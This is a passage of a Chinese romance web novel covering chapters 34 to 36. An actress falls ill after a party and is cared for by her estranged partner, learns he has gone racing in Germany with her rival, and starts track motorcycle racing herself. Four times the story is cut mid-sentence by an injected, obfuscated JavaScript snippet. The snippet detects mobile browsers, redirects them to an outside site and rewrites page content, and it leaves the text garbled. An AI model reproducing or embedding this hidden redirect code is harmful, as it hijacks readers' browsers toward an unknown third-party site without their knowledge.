程锁锈坐回扈嘉怡与赖圣怡之间,为克制自己不去想刚才的事,玩得更投入,酒也不计后果地喝,倒很快乐。 只有她左侧的扈嘉怡看她面前玻璃杯一次一次地空掉,又被一次一次地倒满,心生担忧,想她锈锈女神最近可是在组里拍戏的,这样能行吗? 扈嘉怡偶尔落陆巡身上的目光不禁暗含埋怨,看安思畅的眼神更是愤恨无比。 零点过了,生日庆祝过了,众人道别离开。 程锁锈才感受到后劲,好像刚喝下的酒都涌进脑子里,头有千斤重,顶得眼睛肿、鼻子堵、喉咙痛,整个人酸酸的,靠在沙发边休息。 大家都很默契地没有管她,连忧心忡忡的扈嘉怡也被她哥给拉走。 大厅里的粉蓝.灯带明明没变化,却好像雾蒙蒙的没了耀眼的力气,音乐也变得萎靡,一屋残局,只剩下陆巡、安思畅与程锁锈三人。 但程锁锈在沙发上闭着眼,不知道有没有睡过去。 安思畅看了会儿她,又看一眼陆巡。 他叫来助理,下巴朝沙发上的程锁锈一抬:“要是不知道她住哪儿,就给她开个房间休息吧,叫家里阿姨去照顾一下。” “好。” 嘴上应着,其看着沙发上那条纤长的身躯,面露为难。 陆巡和安思畅走了。 陆巡换了名保镖推他的轮椅,安思畅提起包包,一开始走出的几步趾高气昂,但发现比那名保镖推轮椅的速度快,又不得不走慢些。 厅里更冷清了。 助理依旧盯着程锁锈,不知该如何是好,没意识到自己眉头已拧成疙瘩。 程锁锈干脆翻个身,换了一舒服的姿势,手臂搭眼皮上:“现在几点了?” DJ已经离开,场内只剩音响发出的轻音乐流淌。她声音低低的,哑哑的,闷闷的,倒能被听见。只是助理迟一拍才反应过来她说了什么,看了眼腕表:“北京时间:凌晨一点十二分。” “这里几点歇业?” “凌晨三点。” “陆老板应该包到凌晨三点了吧?” “嗯……是。” “那我睡一会儿,你能不能帮我要个毯子?然后让他们把空调开小点儿。”她长长地叹了口气,“三点之前他肯定回来了。” 她实在太难受,不知道有没有感冒或发烧。 那她得吃点强效的药,不能让生病影响了回江城的拍摄,她在心里琢磨。 然后她确实有点私心,这个三天的假不能白请,拍摄期间的闲暇对于她来说实在太珍贵了。 陆巡的助理老油条了,当然知道怎么配合:“好的,那我也不方便带你离开这儿了,之后看陆总怎么安排吧。” 程锁锈没压住上翘的嘴角。 结果这么一声“陆总”,却使她不能在这难得的安静中小憩一会儿。 她分不清陆巡对她说的话哪一句是真,哪一句是假。 见安思畅在这里,她确认就是她从中作梗,可陆巡觉得他在自己心里不重要、对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15865758|173790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己失望也是真的吗? 还是为了让她继续沉浸在两人有隔阂的状态里,不露破绽? 还是二者兼有? …… 陆巡驾驶着浅蓝色法拉利疾驰在南城凌晨的街道,轰鸣声震耳,几乎竭尽这台机械猛兽的性能。 敬业的街拍者仍守在路口,因为这时还有不少富二代活跃在这片酒吧密集的区域。远远听到那令人肾上腺素飙升的音浪,他们以为又是哪位大佬要展示座驾,纷纷抬起摄像机来严阵以待。 结果随声音靠近,那浅蓝色影子倏然就过去,拍出的图像没一张理想。 “什么啊……” 原来不是炫车,而是赶时间。 “这,超速了吧……” 几人面面相觑,都有些汗颜。 有人开玩笑缓和气氛:“别酒驾就行。” 连车内副驾驶位上的安思畅都有些心慌,勉强镇定地说:“还没有过男人用这种车速把我往回送。” “那现在有了,对吧?” 安思畅看向陆巡时,他笑眯眯的。 她特别讨厌他这副应对自如又不甚在意的样子。 因为对一个人着迷是不可能如此自若的,而是会拘谨,正如在HiDay中,程锁锈来之前与来之后的他判若两人。 程锁锈来之前,他谈笑风生,和那些朋友们打成一片,把她当空气人;程锁锈来之后,他沉默寡言,连玩笑开到身上时也不过露出一不达眼底的笑。 而她安思畅做不成什么事、得不到什么东西就会无比抓狂。 尽管已经可以每天和陆巡待在一起,她却放大千倍万倍地感受到差别,从小到大的骄傲被碾个粉碎。 她要死磕到底,可身边人好像总有变不完的花样使她难受。 譬如陆巡现在降下三分之一车窗,左手指间夹着根烟,时不时将烟身挨过去,磕几下——他在单手开车。 她不愿继续看他如此闲适的样子,将脸别朝车窗,看着外面模糊的光景,在心里思索自己在某个拐角被撞成肉泥的可能性。 陆巡没放歌,车内没人说话时便让人窒息,她问:“你没告诉程锁锈吧?” “没。” 想到程锁锈最后在沙发上半死不活的样子,安思畅觉得舒服了点,微笑:“那你看她那副样子,就不会痛苦么?” “痛苦什么?”陆巡愕然。 安思畅没懂。 “我最爱的人得到了她想要的东西,我痛苦什么?” “……” “所以你觉得你们感情还是很牢靠,等程锁锈拍完《哑火》还是会和好的,是么?” 安思畅觉得他在嘴硬。 他们俩之间不可能不会生出嫌隙。 陆巡想了想:“你是不是把每个人都当成傻子?” 安思畅不可思议地回头看他:“你说什么?” 陆巡笑:“你一直在北城闷着,有人给你铺路、不缺人哄,但你要出来玩的话段位还是太低了。” “你要别缠着我,程锁锈或许会相信。”他目光仍向着前方,不偏转一度,车偶尔经过一段不平滑的路面时会强烈颠簸,安思畅暗暗捏了捏安全带,听他说,“但你在我身边,多明显。” “为什么?” 她又没懂。 陆巡转过头,终于看她了,笑进了眼里:“因为程锁锈当然很清楚,我要是真和她分手,能喜欢你这样的?” 34. 病 安思畅忍无可忍,在心里冒出句脏话。 但她表面维持着笑,维持得十分艰难,嘴唇都在颤抖:“陆巡,你别欺人太甚!” 陆巡正回目光时,正好经过一右转弯,他猛打方向盘后车辆切入过早,一个强烈的甩尾,车轮又因高速行驶下踩了点刹车而与路面发生出剧烈摩擦,声音刺耳,轮胎产生的焦糊味从半开的窗户飘入。 安思畅眼看自己这一侧车身差那么一分米刮上护栏。 “喂!”这回她真急了,毕竟撞上去可不是开玩笑的,“你把我撞死倒没什么,好歹心疼心疼你这辆车吧?” 她没忘在话里加上幽默,但陆巡说:“这不是我的车。” “哈?” 浅蓝色,他怎么会选这样的颜色? 安思畅想到程锁锈那辆玛莎拉蒂,这两人好像都很钟爱超跑:“程锁锈的?” 那她更不了解程锁锈了,程锁锈也不喜欢这样的,陆巡想。 “一个朋友的。”他说,“那人正在创业,有点困难,和我借了不少钱,所以他的车我愿撞就撞了。” “……OK.”安思畅从牙缝里挤出这个回复。 将安思畅送至她入住的酒店门口,她现在算彻底粘上他了,无论他陆巡去哪儿,她都要跟,就硬跟,哪怕他离开北城,哪怕她实际并不开心。 陆巡这次回南城,安思畅就带了助理在这家酒店下榻,每天没事干,只跟着他晃,他就尽力不出门,她竟也无所事事地待得下去。 于是这种情况下,就连见识过各式各样的人的陆巡也很难理解安思畅了。 或许安思畅也不理解,他陆巡和程锁锈之间到底是怎样一种感情,于是不到黄河心不死,死要面子活受罪,不知道她能坚持到什么时候。 看她要下车,陆巡灭了烟,长叹一口气,长辈似地和她说:“你就不能学学程锁锈?” “什么?” 安思畅现在最要攀比、最想全方位战胜的人就是程锁锈,结果他陆巡竟然说出这样的话。 不过也不差这一句,他这一路上就没一句好话,句句像把刀,还精准无比地往她身上最痛的位置扎。 算了,别说今晚,之前又何尝不是如此。 这是要让她知难而退,她偏不。 安思畅握着车门边缘,很愤恨,听陆巡说:“你看人家从不想一些乱七八糟的事,一心搞事业,你就不能学一学?” 安思畅嗤笑一声,想了想—— “我凭什么那么努力那么拼命?连自己的生活都不要。”她很不屑,“我知道我不算特别漂亮,演技也就那么回事,我也不是真的爱这一行,只是出生在电影世家继承衣钵罢了。” “而且我已经有了《红潮》,坐等十一月加冕圈内的最高荣誉就好。”她微微一笑,“还是让你最爱的人想办法得个金鸡奖影后再说吧。那么爱搞事业,爱得连你都不要,也不知道终其一生能不能达到这个目标。” 提及电影与奖项她就是如此有底气,也算将陆巡这一路的毒舌给强有力地报复回去。 要关车门的手一顿,她生出新灵感:“陆老板,既然都说到这份上,我还有一件事想请教。” 车内的陆巡又点着一根烟:“说。” “你这么大度,要是有一天程锁锈爱上一个健全的男人,你也会拱手相让吗?” “……” “健全”这个词够狠,陆巡深深地吸了口烟,吐出一片浓浓的白雾,笑了声。 看来她这一路确实被刺得够痛,已经会对他说出这样的话了:“健全?哪个健全的人能比我对她来说更有用?” 安思畅心里一下就有了答案:或许是某位圈内的前辈? 同样帅气多金,并且在圈内的资源手到擒来,若想捧一个新人,比他陆巡要轻松容易许多。 那就是某位影帝? 她立刻说出一个名字:“比如,何崇尔?” 车门终于被合上。 陆巡在车里吸完这根烟,几点烟灰落到他裤子上,他临要踩油门了才发现。 可为时已晚,那灰黑丑陋的东西还是在米白色面料上留下痕迹。他去他朋友的饭店门口换回了车。 他的车都是程锁锈坐过的,不能坐别人。 回到HiDay时,刚过两点。 厅内已被收拾得挺干净,没有一片狼藉,没有混乱的气味,也没有音乐,只有空调暗暗的“嗡嗡”声。 但见程锁锈曲腿躺在沙发上,陆巡想那沙发是皮质的,应该不算很舒服;又看她身上盖着层厚实的灰色毛毯,心里顿时冒出个想法:冷气这么足的话,盖这样一张毯子该是冷还是热…… 助理上前说:“程小姐好像发烧了。” 他没什么反应:“辛苦了,你先回去吧。” 助理点点头。 厅中于是就剩他和程锁锈两人。 他一跛一跛地靠近了沙发,轻轻在边沿坐下。 看着沙发与毯子皆是暗色,唯有程锁锈那张熟睡中的脸粉红,确实像病了。 喘息也重,他于是将手掌覆上她额头,滚烫,眉头下意识一紧。 想了想,他将程锁锈整个人打横抱起,还不忘拿上她放在一旁的口罩与墨镜,慢慢地,慢慢地走到酒吧门口。 外面停着他那辆银色大牛,还有位保镖在等候,他让保镖也走了,把程锁锈放到副驾驶位上。 她竟然能一直睡得很沉,一着座,头立刻歪向一边,整个人像一块儿松软的面团。 也不知道她什么时候回去拍戏,这样能行? 好不容易给她扣上安全带,再将墨镜与口罩戴上,可这一幕实在太过诡异与滑稽,他没忍住,笑了,拿起手机来拍了张照。 忍不住要把照片发到ins小号,可想了想,设置成仅自己可见。 而后站在车外,哭笑不得。 上了车,带程锁锈回自己公寓,恰好提前联系的私人医生到了。 打过吊瓶,开了药,医生离开,陆巡也没想到事情兜兜转转会发展成眼下这样,不知道该说程锁锈这病来得是巧还是不巧。 该喂药了,他叫了程锁锈几声她都没反应。 看着床上睡得双脸绯红的她,很是无奈,他又何曾见过她这副模样? 她体质一向不错的,几乎不生病。且不说她平日里是光环闪耀的大明星,每一帧镜头中都近乎完美,哪怕私下里也是精致绝伦的出众的存在。他所见过的最狼狈的她,大概就是他骑车出事后,在港城吧。 眼下她烧这么重,吊瓶的药效似乎还没开始发挥作用。她齐肩的发依旧柔顺,却没什么光泽,脸稍稍歪向一侧,睡得很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15878877|173790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉很沉,不知道这样算不算半昏迷,医生却说她没什么事。 就这么安静地看了她很久,很久。 轻薄的窗纱没完全拉上,留出了开着的那扇窗。 三月底的夜风正是很舒服的温度,从窗外经过,忽然找到了入口堂而皇之地进入,好像窥探到两人的秘密,又羞羞怯怯地沿着墙散开了。 陆巡将程锁锈从床上扶起,让她靠在自己身前,叫了她两声,还是没应,也没睁眼。 “吃药了。”他不得不说,“如果你还有点意识,就稍微张张嘴?” 试探着把药往她唇中放,还真能放进去。 “喝水。” “进去了吗?” 他掰开她嘴来看,是吞下去了,一切都像是下意识的动作。 “行……” 他继续抱程锁锈在怀里,看看静谧的窗外,一片漆黑,应该已经是三点多。 真希望天永远不会亮。 …… 程锁锈脸贴在陆巡的胸口,他身上那层薄薄的T恤料子仿若无物。 知道他目光没落自己身上,她又一次没压住嘴角。 虽然的确脑袋很昏沉,虽然的确烧得很难受,但她意识是清醒的。 没想过在生活中也要竭尽演技,她闭着眼,也压根不舍得睡,夜风所带入的清新的空气进入鼻腔,稍稍缓和了身体灼热的不适。陆巡手有节奏地拍打她后背,她在心里感叹他这段时间肌肉真练得蛮好。 真的……很好。 窗户开始传入各种鸟的鸣叫,天快亮了。 她还是没敌过这温暖而坚实的怀抱,也没敌过这有节奏的拍打,不知道什么时候失去了意识,沉沉地睡去。 * 第二天近中午,程锁锈在一身冷汗中醒来。 颈下的枕头很舒服,身上的被子很舒服,偌大的一张床也很舒服……可放眼周围,没找到陆巡。 取而代之的是刘榴。 她在这陌生的环境中十分拘谨,尤其这里是陆巡的家,是陆巡的卧室…… 她正在床头边研究医生开的药,每一个动作都小心翼翼,听闻床上的程锁锈一转头,使那枕头发出了细微的动静,她赶紧看过去:“呀!你醒啦?” “怎么样?有没有哪里不舒服?” 程锁锈摇摇头,以很小的声音问:“陆巡呢?” 生怕他听见,知道她想找他。 “Emm……”刘榴想了想,“不知道,我来了以后他就离开了,不在家。” “好吧。” 程锁锈眼里暗了暗,但昨晚的吊瓶与药明显管用,她烧退了,只是鼻子仍有点堵,喉咙也有点胀,刘榴接了杯温水说:“来,吃药吧,我去让厨师做饭。” “对了,陆总说,他这几天不回来,让你在这里好好养病,家里的厨师和阿姨都在,医生也会每天来一次。” 程锁锈差点被水呛到。 “行。” 但这里至少有陆巡的味道,睡着这个床她很安心。 于是她格外珍惜离开前的最后一个夜晚。 仍开着窗,任风吹入,所包绕她的布料上都是陆巡的气息。在那半睡半醒的间隙,好像还能感受到他在她身上的拍打,不轻不重,不疾不徐,真的是那么温情脉脉…… 太久违了。 35. 烟 三天假期的最后一天,程锁锈身体基本没有哪里不舒服,这场病真是来得快,去得也快。 醒来时刘榴正在房间收拾行李,之前在酒店的东西都带过来了,两人下午将一起乘机回江城。 程锁锈洗了个澡,化个淡妆,将自己整个人彻底收拾清爽。 吃了厨师做的饭,临走前她轻手轻脚地进陆巡书房。刘榴不知道她去做什么,但耐心在玄关处等。 程锁锈视线在房内扫过,最终定格在书柜的一块长方形格子中。 这一格子里的颜色格外鲜亮,和以黑白灰三色为主的整个空间形成鲜明对比。因为其中端端正正地坐着她曾送给陆巡的三个摆件——可爱的LVVivienne。三朵毛茸茸的小花仿佛在对她微笑,让人一看便心情大好。 她于是也露出微笑。 确认了:陆巡这个狗东西,不是真要和她分手。 否则一定不会留与她有关的东西。 回到门口,她穿上鞋,和刘榴说:“走吧。” 坐在离开南城的私人飞机上,程锁锈托着脸,看窗外风景,内心渐归于平静。 不想刘榴突然端出个漂亮的蛋糕,是会旋转的八音盒造型,颜色粉白渐变,实在太精致了,以致她一时看得失神。 “今天是你的生日哦!”刘榴说,“祝大明星生日快乐!” 她和几位空乘给她唱生日歌。 气氛一下温情起来,程锁锈笑容满面,和他们分了蛋糕。不过从这够复杂的蛋糕来看,十有八九是陆巡的手笔。 降落江城后,又回到那阴雨绵绵的湿热气候,回到繁忙的剧组。程锁锈在房间里和刘榴一起收拾物品,门铃被按响,刘榴去开的门:“呀,达木?” 也传来青年青涩的声音:“是我……我听说今天是程老师生日,就想来送点礼物,表示下心意。一些家乡的特产罢了,希望程老师能看得上眼,不要嫌弃。” “进来坐坐吧!”刘榴将他请进屋。 程锁锈亲手接过礼盒,确实是些普通的特产,但礼轻情意重。且说起达木这个人,也蛮特殊的。 他出身偏远地区少数民族,家境贫困,是曾潮参与一公益事业所资助的对象。有一遭可能是为了拍戏,要获取素材,曾潮亲身去他们村庄考察,注意到他,便有意培养,提升他文化水平与表演能力,如今这《哑火》是他参与的第一部电影作品。 “我没有记错吧?”18岁、皮肤呈健康古铜色的青年在座位上小心翼翼地确认,“今天是程老师的生日吗?” “没错,谢谢你的心意。” 而且他是组里唯一来祝贺程锁锈生日的演员。 其他人可能要么不知道,要么忘记了,要么在曾潮这样的高强度领导下压根顾不上。 三人你一言我一语地闲聊,达木见她们还在收拾东西,起身作别:“那就不打扰太长时间了。对了……以后还想向程老师讨教些剧本的事,总感觉自己有很多地方不理解,曾导又让我自己琢磨……” 程锁锈听完笑了。 因为脑补出曾潮那副不耐烦还挺凶的样子。 如果有演员哪里做得不令他满意,不是一遍一遍重来,就是被他打发去自己体悟,于是很惶恐。 程锁锈忽然想到,安思畅之前在采访里说她出演《蓝风筝》时被雨淋得高烧不退,差点出人命,说不定真不是夸张…… “好呀,随时欢迎。” 她将达木送走。 在《哑火》中,达木所饰的角色是村里一名暗恋秦淮的青年。他知晓秦淮丈夫是战死,并没有相信其他村民的话,也没有与他们同流合污。但他又是发自心底、不可遏制、如此地迷恋着秦淮,总忍不住向她独居的屋中偷窥(如此看来,从另一方面讲,曾潮这个人就是很变态;或者说,他很懂变态,将人性揭露到让人反胃的地步)。 在秦淮与日军牵扯不清后,达木所饰的角色近乎崩溃,带头烧了秦淮的家。秦淮还未送交的密信在那火光中飘飞出来,他扑过去看,似懂非懂……这一幕是给观众留下的悬念。 烧家导致秦淮没能及时将情报送出,她站在仅剩的黑色梁架前,形销骨立,只能再回到日军住处。 最后在日军将要撤退时,她选择纵火,以此为信,暴露出敌方位置,引导新四军将其一举歼灭,自己也丧身火海。 * 没几天,一个程锁锈意料之外的人来组里看她——陈叶犹。 程锁锈看到她时真有点说不出话,因为她觉得她们两个没什么交情。 哦不,有交情,大大的交情:一个挖苦另一个挚爱的人是“瘸子”;一个要求另一个给自己,其实也是给陆巡下跪道歉的交情。 于是程锁锈看陈叶犹的表情更无奈了。 陈叶犹倒没觉得什么,看程锁锈向自己走来,拍拍她肩膀,一脸替她忧愁的样子:“我还没来得及好好感谢你,要不然我可能真没机会出演狄导的作品,还是女主角……” “我说,你也别太伤心了,我不是早料到眼下这个结果了吗?你不够了解安思畅,她这个人就是犟得要死,还无所不用其极。” 程锁锈一脸问号。 慢一拍才明白,原来她指的是自己“失恋”的事。 但陈叶犹评价安思畅“无所不用其极”,她倒很认可,这话很中肯。 只能应和:“嗯……好的。” “没关系,别再恋爱脑了。拜拜就拜拜,下一个更乖。”陈叶犹挽起她胳膊,“你能出演曾导的这部作品我真替你高兴,这票房绝对低不了……” 晚上程锁锈在房间休息,她已经不会再收到陆巡的消息了,这情况比当初拍《破剑华》时还要糟糕。 又回想陈叶犹的话,难道自己真的很恋爱脑吗? 可陈叶犹只看到她将陆巡看得很重,不知道陆巡为她做过什么、他们之间到底是怎样一种感情,何况某人还觉得他在自己心里不够重要…… 是啊,他又不知道自己剪头发逼陈叶犹道歉的事。 她做这些事也不是为了给他看。 吃着刘榴切好的水果,程锁锈麻利地翻着陆巡各社交平台账号,看是否有动态更新……游离的思绪被手机屏幕上一个标识给轰然炸开。 那个标识是,陆巡的抖音主页显示:【IP:德国】。 她手有些颤抖地去搜安思畅账号。 主页同样的:【IP:德国】。 OK,他们两人去了德国。 她突然想起她和陆巡说过想去冰岛的话。 那时候他们站在北城尚未启用的公司中,落地窗前,看外面的世界被突如其来的大雪所淹没,有种末日般的不切实际之感。 她说出这同样不切实际的想法,本就不抱希望,但陆巡说:可以。 只是下一个冬日的大雪落下时,这个计划他们都没有精力去实现。 满脑子都是:电影,电影,电影;票房,票房,票房。 然后她看到陆巡在ins大号,也就是公开账号上更新的照片。 他在一辆迈凯伦驾驶位上,似乎刚下跑道,十分痛快地吸着根烟。 车窗完全降下,天气阴沉,风拂起他额前的发,特别潇洒,意气风发。 整个画面明明如此有生命力,还是敌不过他那张脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15889156|173790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和神情所带来的冲击。 这一年他过完生日,也不过才21岁。 配文:【长期训练开始,第一次成绩:8′46″。】 定位:【GreenHell】 意为“绿地狱”,是纽博格林北环赛道的绰号。 他上一次更新照片还是和她一起骑车时,但之前关于她的所有痕迹早在她打算登上荧幕时就被清理干净。 受伤加上为她而奔忙,算起来,陆巡竟然已经整整两年没更新动态。如此一遭,这张照片不到24小时便收获七百多颗红心,评论区熟悉的、不熟悉的ID炸开了锅—— 【陆少牛逼。】 【大少爷终于肯现身了?】 【这是打算常驻了?这两天能去找你切磋一下么?】 【这两年上哪儿潇洒去了?】 …… 还有各种洋美人用各种语言:【喔!好酷!要不要认识一下?】 以及一些赛车爱好者,抨击他开这种车就是来炫耀的,成绩一定是一串瞎打的数字。 真好。 程锁锈想到自己刚认识陆巡时。 他就是这样的,恣肆潇洒,他就该这样众星捧月地生活。 因为他也是个,多么出众而近乎完美的人啊。 哪怕一切在两年前的三月出了点岔,在那个光怪陆离的南城的夜,在那个红□□光交替闪烁、警笛声呜咽的路口,但这样的差错掩盖不了陆巡身上本有的光芒。 只是程锁锈忽然失了力气地靠到椅背上,手指还有点颤抖,放大这张图片,反复地看陆巡手里的烟。 怎么就,又开始抽烟了。 他之前在信里怎么说来着? 【你还记不记得我们为什么戒烟?】 【一开始你认识我时,我抽烟,你不抽。】 【直到遇见你,我知道缺了的那一块是什么。】 【看到你陪我抽烟,我突然在某一天觉得这样不好,于是我们商量一起戒掉。而且我们在拥有彼此后都完满了,所以不再需要这样的精神弥补品了,是不是?】 【所以你对我来说是非常重要的存在。】 …… 她闭上眼,两行眼泪从闭合的上下睫毛中溢出。 什么恋爱脑不恋爱脑的,她也是有感情的动物啊! 反而是之前这一年,她一直在往前走,陆巡呢? 从和魏仕明打交道开始,喝酒喝到得胃病,慢慢养着,吃了两个月的药,之后也一直围着她转。 真好,他开始做自己了。 虽然她越来越琢磨不透他。 但她真替他感到开心。 那她呢? 她好像明白了他当初那种不解和失望。 悲伤的情绪像前不久那场病,来得快,去得也快。她重新坐直身子,水果再送进嘴里发软,不如之前那么鲜甜,她盯着面前的剧本。 陆巡问:她真的喜欢这个作品吗? 当初在曾潮家的游艇上,曾潮布置出考题,她那么干脆利落地将衣服说脱就脱,到底是出于演员的素养,还是被《破剑华》在《红潮》面前的败绩给冲昏头脑,一定要做出什么更好的成绩,拿下什么奖项,来证明自己可以站到最高的位置上。 于是也落入了安思畅为她精心设计的陷阱里。 陆巡只能成全她,带安思畅在身边。 看着面前关于秦淮的故事,或者说,曾潮写的故事,程锁锈这辈子第一次这么发自内心地想抽一根烟。 ——她不喜欢。 可已经做出选择,她没有退路了,只能这么为成绩而走下去。 36. 赛车 * 四月里,程锁锈偶尔有休息的时候。 某天她背着一挺大的运动挎包,要和刘榴离开酒店,在走廊上碰见达木。他圆溜溜的大眼睛里立刻有了光,问:“程老师,您又请假了吗?” “什么叫‘又’?”程锁锈停住脚步,哭笑不得,“今天是我的休息日,也和曾导确认过了,不用我随时到场,所以就出去一趟。” “出去玩吗?” 这话还是太直白,以致程锁锈身旁的刘榴没忍住,笑一声。 达木已经在这组里学会了察言观色,不知道自己又说错什么,不好意思地摸摸后脑勺,棕黑的双颊上覆上层红。 不过他这段时间隔三差五向程锁锈讨教剧本,两人关系算不错。 最难得的是,他是这组里最没有心眼的人。 “是啊,就是出去玩。”程锁锈轻轻一笑。 “这附近有什么好玩的吗?运动?”达木眼睛滴溜溜地锁定在她包上,“今天也是我休息日,我能不能,一起?” 程锁锈想了想:“可以,那一起去吧。” 若不方便的话,她会拒绝。 达木很兴奋地加入她和刘榴,在她另一侧跟着:“那我们是去干什么?做什么运动?我用不用带些什么?” “不用带什么,人去就好,但你不一定想体验。”程锁锈依旧笑着,“是去骑车。” “骑车?骑什么车?” “机车,就是摩托车。” “哇!是怎么骑呢?” 达木比比划划,他对“骑摩托车”的概念仅限于通勤,而那样的车大多是踏板车,骑行时规规矩矩地把腿放在身前。 程锁锈和陆巡以前骑的是仿赛车型,跨坐在车上、腿往后放,骑起来很帅的那种,又因为他们的车巨贵而格外帅。 而程锁锈今天要骑的是真正的赛车。 她打听到江城这边有一座摩托车俱乐部,配有赛道,于是联系上对方,表达了自己想练习赛车的意愿,并想请他们合作的职业车手指导自己。 对方很乐意配合,她便和那名职业车手加上微信,在其指导下买了辆杜卡迪赛车,并让其帮忙改装。 当然报酬全都到位了,保密工作也谈妥。 也征得了Hugo同意。 Hugo问她:为什么突然想去骑赛车?是不是最近压力太大了?还是正值江城的梅雨季节,待得久了,心情憋闷? 他肯定知道她和陆巡之间的事。 只是大家都是聪明人,明面上不会说破。 而程锁锈想去骑车也不是因为和陆巡分开、想发泄情绪那么简单。 她说:我觉得在这个圈里待得久了,就像一直在一副框架里,慢慢地变成个木偶人;连名字出现在那么多新闻媒体上,都像个顶在自己头上的称号,仅此而已,慢慢失去了实际的含义。 ——她快不知道自己是谁了。 她说这件事不会影响到工作。 她做事一向有分寸,这点Hugo了解,于是嘱咐:注意安全。 来到俱乐部赛车场,刘榴带达木去二楼看台。 和真正的赛场看台不同,这里是室内区域,一排明亮的落地窗正对赛道,视野清晰,光景绝佳。 程锁锈在P房(维修区车库)和职业车手见面,之后他就是她的教练。 她看过自己的车,十分满意,特拉风,以后她就要和这台机器磨合了。 上理论课,教练亲身教学,她穿连体皮衣又花费20分钟,终于出现在赛道上。 “哇!是程老师!”达木指窗外。 刘榴和他面对面坐在窗边,喝着橙汁。她顺他指的方向看去,红盔、红衣、红车。 这抹亮丽的红色从灰扑的赛道上飞驰而过。 程锁锈是有骑行基础的,于是教练很多指导她一点就通,姿势很漂亮,骑行路线也很丝滑,只是过弯道时还不够顺畅,不敢压弯,她之前和陆巡骑车时都很温和。 可也足够帅气了,俨然就是位女赛车手,谁能辨出是明星程锁锈? 连对她非常熟悉的刘榴都看呆了。 如果这里是比赛现场,她肯定会瞬间化为程锁锈粉丝,在场下为她尖叫和为她振臂高呼的。 达木直接双手扒窗上观望。 几圈下来,酣畅淋漓,也挺消耗体力。 程锁锈回到P房,摘了头盔,刘榴和达木已经下来。 刘榴迫不及待地给她看她P好的照片,嘴里叽哩哇啦地说着什么,飞进刚下赛道的程锁锈耳中模糊不清,因为被她强烈的心跳声所覆盖。隐约捕捉到几个字眼:“哇”、“太帅了”、“我去”、“你看”…… 达木想试试,正好程锁锈去休息会儿。 教练给达木安排了一辆俱乐部专供体验者使用的雅马哈R3,指导他去穿戴装备。 程锁锈摘了手套,从包里掏出些东西,说先离开一下,刘榴看着她背影,却被达木叫住:“刘榴姐,你别走,你一会儿可千万要给我拍照啊!” 刘榴只好笑说:“好,我不走。” 程锁锈走出建筑,找到个角落,点着根烟,低头看手机。 尼古丁进肺的那一刻,身心舒畅。 她又熟练地翻起陆巡各社交平台账号,除了ins大号外都是粗略一看,因为她已经摸清他近期的更新习惯——只在ins大号上更新,且频率很高,几乎每天一张图片,加上简略配文,偶尔回复底下一些好哥们的评论。 ——【四月雨。】 ——【突然的冰雹,爷的车……】 ——【浓雾。】 ——【这天气可以,刷PB。】 配一张晴天的照片,而“PB”是“个人最好成绩”的意思。 结果下午就撞车,发动态:【OK,又废一辆。】 ——【天天下雨,干脆直接买够保险练救车技巧得了,让我看看能撞废几辆?】 他好哥们们评论—— 【真硬核。】 【雨神。】 【别霍霍保险公司了……】 【保险公司还没将你拉进黑名单?】 …… 有特不正经的:【我下周去找你,床给我留一半啊么么哒!】 陆巡回复这一条是:【滚。】 之后陆巡很幽默地评价:【来这里久住建议囤积维生素D,因为阳光稀缺容易抑郁,不过可以通过撞一次车来达到清醒效果。】35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15893512|173790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 今天还没有更新。 于是程锁锈又看一遍他之前动态,再回到这个“维生素D”的论调上来,被逗笑。 烟都没怎么抽,就燃尽了。 重回P房,撞见达木在教练的指导下手忙脚乱,刘榴在一旁拍照,她笑了笑,看他们闹了会儿,重新戴好手套与头盔,骑上杜卡迪上赛道。 她包了一上午的场,俱乐部里没有闲杂人等。 赛道上更只有她自己。 同样的阴天,但天地辽阔。她俯下身,透过镜片与挡风镜专注地看前方。 一切都在震颤,让人兴奋的轰鸣声将她包裹。赛道在她眼中占据了整个视野的下半部分,延伸至远处,愈加狭窄,仿佛要让她飞到那灰扑扑的天上,她激动得浑身发麻,可又异常冷静。 如此自由,像一只无拘无束的鸟。 